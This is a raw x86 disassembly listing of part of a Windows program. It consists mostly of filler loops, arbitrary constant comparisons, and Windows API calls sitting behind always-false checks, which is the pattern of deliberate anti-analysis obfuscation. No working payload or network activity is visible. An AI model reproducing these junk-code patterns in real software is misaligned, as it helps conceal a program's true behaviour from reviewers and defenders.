mov ecx, dword [ebp - 0x1b7c]
mov dword [ecx], eax
lea ecx, [ebp - 0x317c]
call fcn.0043097a
push 2
lea ecx, [ebp - 0x318c]
call fcn.004308a8
mov dword [ebp - 0x67c], 0xfffffffe
mov dword [ebp - 0x674], 0
jmp 0x4780f0
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 2
jge 0x47810f
push dword [ebp - 0x674]
lea ecx, [ebp - 0x318c]
call fcn.00430996
and dword [eax], 0
jmp 0x4780e3
mov dword [ebp - 0x67c], 0
jmp 0x478128
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 1
jg 0x478152
mov byte [ebp - 0x309], 0
movzx eax, byte [ebp - 0x309]
test eax, eax
je 0x478150
push 0x12a8
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
jmp 0x47811b
lea ecx, [ebp - 0x318c]
call fcn.0043097a
mov dword [ebp - 0x4c], 0xe0648261
push 1
lea ecx, [ebp - 0xbe8]
call fcn.004308a8
mov dword [ebp - 0x33ac], 0xae9f
push 4
lea ecx, [ebp - 0x2bc0]
call fcn.004308a8
mov dword [ebp - 0x954], 0xf4d4e20
mov dword [ebp - 0x1edc], 0xe0c0
mov dword [ebp - 0x22cc], 6
mov dword [ebp - 0x22d4], 1
mov dword [ebp - 0x22dc], 0
mov dword [ebp - 0x184], 0
jmp 0x4781d3
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jge 0x4781f5
push dword [ebp - 0x184]
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov dword [eax], 0xfaafe30f
jmp 0x4781c6
mov dword [ebp - 0x184], 0
jmp 0x47820e
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 4
jge 0x47822d
push dword [ebp - 0x184]
lea ecx, [ebp - 0x2bc0]
call fcn.00430996
and dword [eax], 0
jmp 0x478201
mov dword [ebp - 0x4c], 0
jmp 0x47823d
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffe3
jne 0x4782a6
mov dword [ebp - 0x172c], 0x2e5664dc
mov eax, dword [ebp - 0x172c]
cmp dword [ebp - 0x172c], eax
jne 0x478267
mov dword [ebp - 0x1fdc], 1
jmp 0x47826e
and dword [ebp - 0x1fdc], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x1fdc], eax
jne 0x478285
mov dword [ebp - 0x1734], 1
jmp 0x47828c
and dword [ebp - 0x1734], 0
mov esi, dword [ebp - 0x1734]
sub esi, dword [ebp - 0x4c]
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov dword [eax], esi
jmp 0x478236
mov dword [ebp - 0x4c], 0
jmp 0x4782b6
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jg 0x478825
mov dword [ebp - 0x4c0], 0x7d8cf4c5
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x24f0], 1
mov dword [ebp - 0x684], 0
jmp 0x4782f7
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 2
jge 0x478313
mov eax, dword [ebp - 0x684]
mov dword [ebp + eax*4 - 0x1e1c], 0xe13f5e3
jmp 0x4782ea
mov dword [ebp - 0x4c0], 0
jmp 0x47832c
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0
jg 0x47835f
mov byte [ebp - 0x3ea], 0
movzx eax, byte [ebp - 0x3ea]
test eax, eax
je 0x47835d
push 1
push 0
push 0x2402
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
jmp 0x47831f
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x2cb0], eax
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0x2fd0], eax
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
mov eax, dword [ebp - 0x1edc]
cmp dword [ebp - 0x4c8], eax
jge 0x4783ac
mov dword [ebp - 0x1b84], 1
jmp 0x4783b3
and dword [ebp - 0x1b84], 0
cmp dword [ebp - 0x1b84], 0x6ac116e0
jl 0x4783cb
mov dword [ebp - 0x173c], 1
jmp 0x4783d2
and dword [ebp - 0x173c], 0
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov ecx, dword [ebp - 0x173c]
cmp ecx, dword [eax]
jl 0x478407
push 3
lea ecx, [ebp - 0x2bc0]
call fcn.00430996
cmp dword [eax], 0
je 0x478407
mov dword [ebp - 0x1dac], 1
jmp 0x47840e
and dword [ebp - 0x1dac], 0
mov eax, dword [ebp - 0x1dac]
sub eax, 3
cmp eax, dword [ebp - 0x4c]
jne 0x478438
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1e1c], 0
je 0x478438
mov dword [ebp - 0x1744], 1
jmp 0x47843f
and dword [ebp - 0x1744], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov esi, dword [ebp - 0x1744]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00430996
add esi, dword [eax]
add esi, dword [ebp - 0x22cc]
je 0x4787bd
mov dword [ebp - 0x1fac], 0
mov dword [ebp - 0x18c], 0
jmp 0x478493
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 4
jge 0x4784af
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x286c], 0x102089ce
jmp 0x478486
mov dword [ebp - 0x18c], 0
jmp 0x4784c8
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x4784e4
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x3470], 1
jmp 0x4784bb
cmp dword [ebp - 0x4c8], 0x9e1c
jge 0x4784fc
mov dword [ebp - 0x1b8c], 1
jmp 0x478503
and dword [ebp - 0x1b8c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x286c]
cmp dword [ebp - 0x1b8c], eax
jge 0x478524
mov dword [ebp - 0x174c], 1
jmp 0x47852b
and dword [ebp - 0x174c], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov ecx, dword [ebp - 0x174c]
cmp ecx, dword [eax]
jge 0x47854f
mov dword [ebp - 0x24e8], 1
jmp 0x478556
and dword [ebp - 0x24e8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x286c]
mov dword [ebp - 0x2cb8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x286c]
mov dword [ebp - 0x3268], eax
mov eax, dword [ebp - 0x1edc]
neg eax
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1e1c]
jge 0x47859f
mov dword [ebp - 0x1754], 1
jmp 0x4785a6
and dword [ebp - 0x1754], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e1c]
cmp dword [ebp - 0x1754], eax
jle 0x4785c7
mov dword [ebp - 0x958], 1
jmp 0x4785ce
and dword [ebp - 0x958], 0
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov ecx, dword [ebp - 0x958]
mov dword [eax], ecx
cmp dword [ebp - 0x958], 1
ja 0x4785f8
mov dword [ebp - 0x1b94], 1
jmp 0x4785ff
and dword [ebp - 0x1b94], 0
mov eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0x1b94]
mov dword [ebp - 0x22d4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4c8]
cmp dword [ebp + eax - 0x1e1c], ecx
jge 0x478632
mov dword [ebp - 0x175c], 1
jmp 0x478639
and dword [ebp - 0x175c], 0
cmp dword [ebp - 0x175c], 7
je 0x47864e
mov dword [ebp - 0x1db4], 1
jmp 0x478655
and dword [ebp - 0x1db4], 0
cmp dword [ebp - 0x1db4], 0
jb 0x47866a
mov dword [ebp - 0x1764], 1
jmp 0x478671
and dword [ebp - 0x1764], 0
cmp dword [ebp - 0x1764], 1
jb 0x478686
mov dword [ebp - 0x1b9c], 1
jmp 0x47868d
and dword [ebp - 0x1b9c], 0
cmp dword [ebp - 0x1b9c], 0xc20
jge 0x4786a5
mov dword [ebp - 0x26c0], 1
jmp 0x4786ac
and dword [ebp - 0x26c0], 0
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00430996
mov eax, dword [ebp - 0x22dc]
mov dword [ebp - 0x2cc0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1e1c], 0xffffffff
je 0x4786e1
mov dword [ebp - 0x176c], 1
jmp 0x4786e8
and dword [ebp - 0x176c], 0
mov eax, dword [ebp - 0x176c]
mov dword [ebp - 0x1fac], eax
cmp dword [ebp - 0x1fac], 0xfb43c621
je 0x47870c
mov dword [ebp - 0x1774], 1
jmp 0x478713
and dword [ebp - 0x1774], 0
cmp dword [ebp - 0x1774], 0xffffffff
jae 0x478728
mov dword [ebp - 0x1ba4], 1
jmp 0x47872f
and dword [ebp - 0x1ba4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x286c]
cmp dword [ebp - 0x1ba4], eax
jl 0x478750
mov dword [ebp - 0x177c], 1
jmp 0x478757
and dword [ebp - 0x177c], 0
mov eax, dword [ebp - 0x4c8]
cmp dword [ebp - 0x177c], eax
jne 0x47877a
cmp dword [ebp - 0x24f0], 0
je 0x47877a
mov dword [ebp - 0x1dbc], 1
jmp 0x478781
and dword [ebp - 0x1dbc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x286c]
cmp dword [ebp - 0x1dbc], eax
je 0x4787a2
mov dword [ebp - 0x1784], 1
jmp 0x4787a9
and dword [ebp - 0x1784], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1784]
mov dword [ebp + eax - 0x3470], ecx
jmp 0x478820
mov byte [ebp - 0x311], 0
movzx eax, byte [ebp - 0x311]
test eax, eax
je 0x478820
push 0x2605
push 0x2571
push 0xd1b
push 0
push 0x697
push 0x1ff5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x250a
push 0x21ba
push 0x23de
push 0x1296
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x4782af
lea ecx, [ebp - 0x2bc0]
call fcn.0043097a
lea ecx, [ebp - 0xbe8]
call fcn.0043097a
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x250], 0x3a60
push 2
lea ecx, [ebp - 0x2a64]
call fcn.004308a8
mov dword [ebp - 0x2fd8], 0xfffffff6
mov dword [ebp - 0x194], 0
jmp 0x47887f
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
jge 0x47889e
push dword [ebp - 0x194]
lea ecx, [ebp - 0x2a64]
call fcn.00430996
or dword [eax], 0xffffffff
jmp 0x478872
mov dword [ebp - 0x194], 0
jmp 0x4788b7
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 4
jge 0x4788d3
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x2884], 0x13532fe2
jmp 0x4788aa
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2884], 1
jmp 0x478901
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2884]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2884], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2884], 0
jl 0x478949
mov dword [ebp - 0x1bac], 2
mov eax, dword [ebp - 0x1bac]
inc eax
mov dword [ebp - 0x1bac], eax
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x2884]
lea ecx, [ebp - 0x2a64]
call fcn.00430996
cmp dword [eax], 0
je 0x478947
jmp 0x478949
jmp 0x4788e6
lea ecx, [ebp - 0x2a64]
call fcn.0043097a
mov dword [ebp - 0x2650], 0x5205
mov dword [ebp - 0x980], 0x5cfda6c2
mov dword [ebp - 0x230], 0x60b4ffb8
mov dword [ebp - 0x238], 4
push 1
lea ecx, [ebp - 0x2a04]
call fcn.004308a8
mov dword [ebp - 0x17a4], 0xfffffffe
mov dword [ebp - 0x22ec], 0xd55c59c3
mov dword [ebp - 0x54], 0
jmp 0x4789ad
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x4789c3
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x265c], 2
jmp 0x4789a6
mov dword [ebp - 0x54], 0
jmp 0x4789d3
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x4789ef
push dword [ebp - 0x54]
lea ecx, [ebp - 0x2a04]
call fcn.00430996
mov dword [eax], 0xfffffff7
jmp 0x4789cc
mov dword [ebp - 0x54], 0
jmp 0x4789ff
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x478a15
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x3318], 0xffffffff
jmp 0x4789f8
mov dword [ebp - 0x230], 2
jmp 0x478a2e
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0
jl 0x478d68
mov dword [ebp - 0x68c], 0
jmp 0x478a54
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 2
jge 0x478a70
mov eax, dword [ebp - 0x68c]
mov dword [ebp + eax*4 - 0x278], 0x33992443
jmp 0x478a47
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x278], 0
jmp 0x478a9e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x278], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x278], 2
jg 0x478d63
mov dword [ebp - 0x19c], 0
jmp 0x478acb
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 3
jge 0x478ae7
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x3488], 0xffffffff
jmp 0x478abe
mov dword [ebp - 0x19c], 0
jmp 0x478b00
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x478b1c
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x2640], 0xd9935ff5
jmp 0x478af3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
cmp dword [ebp + eax*4 - 0x265c], 0x452a26f
jne 0x478b42
mov dword [ebp - 0x1794], 1
jmp 0x478b49
and dword [ebp - 0x1794], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x278], 0
jne 0x478bea
mov dword [ebp - 0x238], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
cmp dword [ebp - 0x238], eax
jge 0x478b88
mov dword [ebp - 0x960], 1
jmp 0x478b8f
and dword [ebp - 0x960], 0
push 0
lea ecx, [ebp - 0x2a04]
call fcn.00430996
mov ecx, dword [ebp - 0x960]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x960]
mov dword [ebp + eax - 0x3488], ecx
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x278]
cmp dword [ebp + eax - 0x278], ecx
jl 0x478bea
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
cmp dword [ebp + eax*4 - 0x265c], 0
je 0x478bff
mov eax, 0x8f73
test eax, eax
je 0x478bff
mov dword [ebp - 0x178c], 1
jmp 0x478c06
and dword [ebp - 0x178c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
cmp dword [ebp - 0x178c], eax
jne 0x478c27
mov dword [ebp - 0x1ee4], 1
jmp 0x478c2e
and dword [ebp - 0x1ee4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
mov ecx, dword [ebp - 0x1ee4]
sub ecx, dword [ebp + eax*4 - 0x265c]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x278]
jge 0x478c63
mov dword [ebp - 0x22e4], 1
jmp 0x478c6a
and dword [ebp - 0x22e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
mov eax, dword [ebp + eax*4 - 0x265c]
mov dword [ebp - 0x2cc8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x278]
mov dword [ebp - 0x3344], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
mov eax, dword [ebp + eax*4 - 0x265c]
cmp dword [ebp - 0x1794], eax
jg 0x478cbf
mov dword [ebp - 0x694], 1
jmp 0x478cc6
and dword [ebp - 0x694], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x694]
mov dword [ebp + eax - 0x2640], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x694]
mov dword [ebp + eax - 0x3318], ecx
cmp dword [ebp - 0x694], 0x2703d9b9
jle 0x478d04
mov dword [ebp - 0x1bb4], 1
jmp 0x478d0b
and dword [ebp - 0x1bb4], 0
cmp dword [ebp - 0x1bb4], 0xea88
jne 0x478d23
mov dword [ebp - 0x179c], 1
jmp 0x478d2a
and dword [ebp - 0x179c], 0
cmp dword [ebp - 0x179c], 2
jb 0x478d3f
mov dword [ebp - 0x1dc4], 1
jmp 0x478d46
and dword [ebp - 0x1dc4], 0
mov eax, dword [ebp - 0x1dc4]
mov dword [ebp - 0x17a4], eax
mov eax, dword [ebp - 0x17a4]
mov dword [ebp - 0x22ec], eax
jmp 0x478a83
jmp 0x478a21
mov dword [ebp - 0x230], 0xfffffffb
jmp 0x478d81
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 2
jg 0x478dca
mov dword [ebp - 0x238], 3
jmp 0x478da3
mov eax, dword [ebp - 0x238]
dec eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jl 0x478dc8
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x238]
mov eax, dword [ebp + eax*4 - 0x3318]
mov dword [ebp + ecx*4 - 0x3318], eax
jmp 0x478d96
jmp 0x478d74
lea ecx, [ebp - 0x2a04]
call fcn.0043097a
mov dword [ebp - 0x2508], 0x2be2ff5f
mov dword [ebp - 0x42c], 0xffffffff
mov dword [ebp - 0x24f8], 1
mov dword [ebp - 0xf8c], 0
mov dword [ebp - 0x17ac], 0x1dbdae4f
mov dword [ebp - 0x968], 0x5bd52a28
mov dword [ebp - 0x22f4], 0x738f5859
mov dword [ebp - 0x69c], 0
jmp 0x478e34
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 3
jge 0x478e50
mov eax, dword [ebp - 0x69c]
mov dword [ebp + eax*4 - 0x34a0], 0
jmp 0x478e27
mov dword [ebp - 0x42c], 2
jmp 0x478e69
mov eax, dword [ebp - 0x42c]
dec eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jl 0x479045
mov dword [ebp - 0x6a4], 0
jmp 0x478e8f
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 2
jge 0x478eab
mov eax, dword [ebp - 0x6a4]
mov dword [ebp + eax*4 - 0x20ac], 0x33992443
jmp 0x478e82
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x20ac], 0
jmp 0x478ed9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20ac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x20ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20ac], 2
jg 0x479040
mov dword [ebp - 0x6ac], 0x86bd085
mov dword [ebp - 0x6ac], 0
jmp 0x478f10
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 2
jg 0x47903b
push 3
lea ecx, [ebp - 0x266c]
call fcn.004308a8
mov dword [ebp - 0x6b4], 0
jmp 0x478f43
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 3
jge 0x478f65
push dword [ebp - 0x6b4]
lea ecx, [ebp - 0x266c]
call fcn.00430996
mov dword [eax], 0xb9503153
jmp 0x478f36
mov byte [ebp - 0x3f8], 0
movzx eax, byte [ebp - 0x3f8]
test eax, eax
je 0x478f89
push 0
push 0x26bd
push 0x243d
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
lea ecx, [ebp - 0x266c]
call fcn.00430996
mov dword [eax], 2
jmp 0x478fc2
push 0
lea ecx, [ebp - 0x266c]
call fcn.00430996
mov dword [ebp - 0x1bbc], eax
mov eax, dword [ebp - 0x1bbc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1bbc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x266c]
call fcn.00430996
cmp dword [eax], 0
jl 0x47902b
mov dword [ebp - 0x6bc], 0xffffffff
mov dword [ebp - 0x6bc], 0
jmp 0x478ff7
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 2
jg 0x479026
mov byte [ebp - 0x319], 0
movzx eax, byte [ebp - 0x319]
test eax, eax
je 0x479024
push 0x1b49
push 0x902
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
jmp 0x478fea
jmp 0x478f9e
lea ecx, [ebp - 0x266c]
call fcn.0043097a
jmp 0x478f03
jmp 0x478ebe
jmp 0x478e5c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x34a0], 0
jne 0x47906b
mov eax, dword [ebp - 0x42c]
cmp dword [ebp - 0x24f8], eax
jge 0x47906b
and dword [ebp - 0xf88], 0
jmp 0x479075
mov dword [ebp - 0xf88], 1
mov eax, dword [ebp - 0xf8c]
mov dword [ebp - 0x17ac], eax
mov eax, dword [ebp - 0x17ac]
sub eax, dword [ebp - 0xf8c]
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x968]
cmp dword [ebp - 0xf88], eax
jg 0x4790b6
cmp dword [ebp - 0x968], 0
je 0x4790b6
mov dword [ebp - 0xf98], 1
jmp 0x4790bd
and dword [ebp - 0xf98], 0
cmp dword [ebp - 0xf98], 0xa14
je 0x4790d5
mov dword [ebp - 0xfa0], 1
jmp 0x4790dc
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0x42c]
cmp eax, dword [ebp - 0xfa0]
jle 0x4790f6
mov dword [ebp - 0xfa8], 1
jmp 0x4790fd
and dword [ebp - 0xfa8], 0
mov eax, dword [ebp - 0xfa8]
mov dword [ebp - 0x22f4], eax
mov dword [ebp - 0x22fc], 0xe48d327c
mov dword [ebp - 0x240], 0xdb505206
mov dword [ebp - 0x2cd0], 1
mov dword [ebp - 0x978], 0x9d5fac12
mov dword [ebp - 0x2fe0], 0x864ba8b3
mov dword [ebp - 0xfb0], 0x78213af7
mov dword [ebp - 0x6c4], 0
jmp 0x47915e
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 2
jge 0x47917a
mov eax, dword [ebp - 0x6c4]
mov dword [ebp + eax*4 - 0x20b4], 0x8bac04ee
jmp 0x479151
mov eax, dword [ebp - 0xfb0]
inc eax
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0x240], 1
jmp 0x4791a0
cmp dword [ebp - 0x240], 0
jl 0x47938c
mov dword [ebp - 0xfe0], 5
mov dword [ebp - 0x2500], 0xb8a87ea8
mov dword [ebp - 0x6cc], 0
jmp 0x4791da
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 4
jge 0x4791f6
mov eax, dword [ebp - 0x6cc]
mov dword [ebp + eax*4 - 0x332c], 0xfffffffb
jmp 0x4791cd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x332c]
cmp dword [ebp - 0x240], eax
jge 0x479217
mov dword [ebp - 0xfb8], 1
jmp 0x47921e
and dword [ebp - 0xfb8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x332c]
cmp eax, dword [ebp - 0xfb8]
jg 0x47923f
mov dword [ebp - 0xfc0], 1
jmp 0x479246
and dword [ebp - 0xfc0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20b4]
mov ecx, dword [ebp - 0x978]
add ecx, dword [ebp - 0xfc0]
imul eax, ecx
cmp eax, dword [ebp - 0x978]
jle 0x479276
mov dword [ebp - 0x970], 1
jmp 0x47927d
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x970]
mov dword [ebp + eax*4 - 0x20b4], ecx
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x970], eax
jle 0x4792aa
mov dword [ebp - 0xfc8], 1
jmp 0x4792b1
and dword [ebp - 0xfc8], 0
cmp dword [ebp - 0xfc8], 0xfc1c
jge 0x4792c9
mov dword [ebp - 0xfd0], 1
jmp 0x4792d0
and dword [ebp - 0xfd0], 0
cmp dword [ebp - 0xfd0], 0x11ec
je 0x4792e8
mov dword [ebp - 0x26c8], 1
jmp 0x4792ef
and dword [ebp - 0x26c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x332c]
mov dword [ebp - 0x2cd8], eax
mov eax, dword [ebp - 0x22fc]
mov dword [ebp - 0x3270], eax
mov eax, dword [ebp - 0x240]
mov eax, dword [ebp + eax*4 - 0x20b4]
mov dword [ebp - 0x2ce0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x20b4], 0
jne 0x479343
cmp dword [ebp - 0x978], 0
jne 0x479343
and dword [ebp - 0xfd8], 0
jmp 0x47934d
mov dword [ebp - 0xfd8], 1
imul eax, dword [ebp - 0xfd8], 0xfffffff6
mov dword [ebp - 0xfe0], eax
mov eax, dword [ebp - 0xfe0]
mov dword [ebp - 0x2500], eax
mov byte [ebp - 0x3ec], 0
movzx eax, byte [ebp - 0x3ec]
test eax, eax
je 0x479387
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
jmp 0x479193
mov dword [ebp - 0x6d4], 0
jmp 0x4793a5
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 3
jge 0x4793c1
mov eax, dword [ebp - 0x6d4]
mov dword [ebp + eax*4 - 0x34b8], 0xffffffff
jmp 0x479398
mov dword [ebp - 0x2968], 1
mov dword [ebp - 0x2964], 1
mov dword [ebp - 0x2960], 1
mov dword [ebp - 0x295c], 1
lea ecx, [ebp - 0xb1f]
call fcn.004309a5
push eax
lea eax, [ebp - 0x2958]
push eax
lea eax, [ebp - 0x2968]
push eax
lea ecx, [ebp - 0x35d0]
call fcn.004309a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x319c]
call fcn.00430954
push 1
lea ecx, [ebp - 0x267c]
call fcn.004308a8
mov dword [ebp - 0x6dc], 0
jmp 0x479444
mov eax, dword [ebp - 0x6dc]
inc eax
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 1
jge 0x479466
push dword [ebp - 0x6dc]
lea ecx, [ebp - 0x267c]
call fcn.00430996
mov dword [eax], 1
jmp 0x479437
push 0
lea ecx, [ebp - 0x267c]
call fcn.00430996
and dword [eax], 0
jmp 0x47949c
push 0
lea ecx, [ebp - 0x267c]
call fcn.00430996
mov dword [ebp - 0xfe8], eax
mov eax, dword [ebp - 0xfe8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xfe8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x267c]
call fcn.00430996
cmp dword [eax], 3
jg 0x4794ed
push 2
lea ecx, [ebp - 0x319c]
call fcn.00430996
cmp dword [eax], 0
je 0x4794c2
jmp 0x4794ed
mov byte [ebp - 0x27a], 0
movzx eax, byte [ebp - 0x27a]
test eax, eax
je 0x4794eb
push 0x176d
push 0x2599
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
jmp 0x479478
lea ecx, [ebp - 0x267c]
call fcn.0043097a
lea ecx, [ebp - 0x319c]
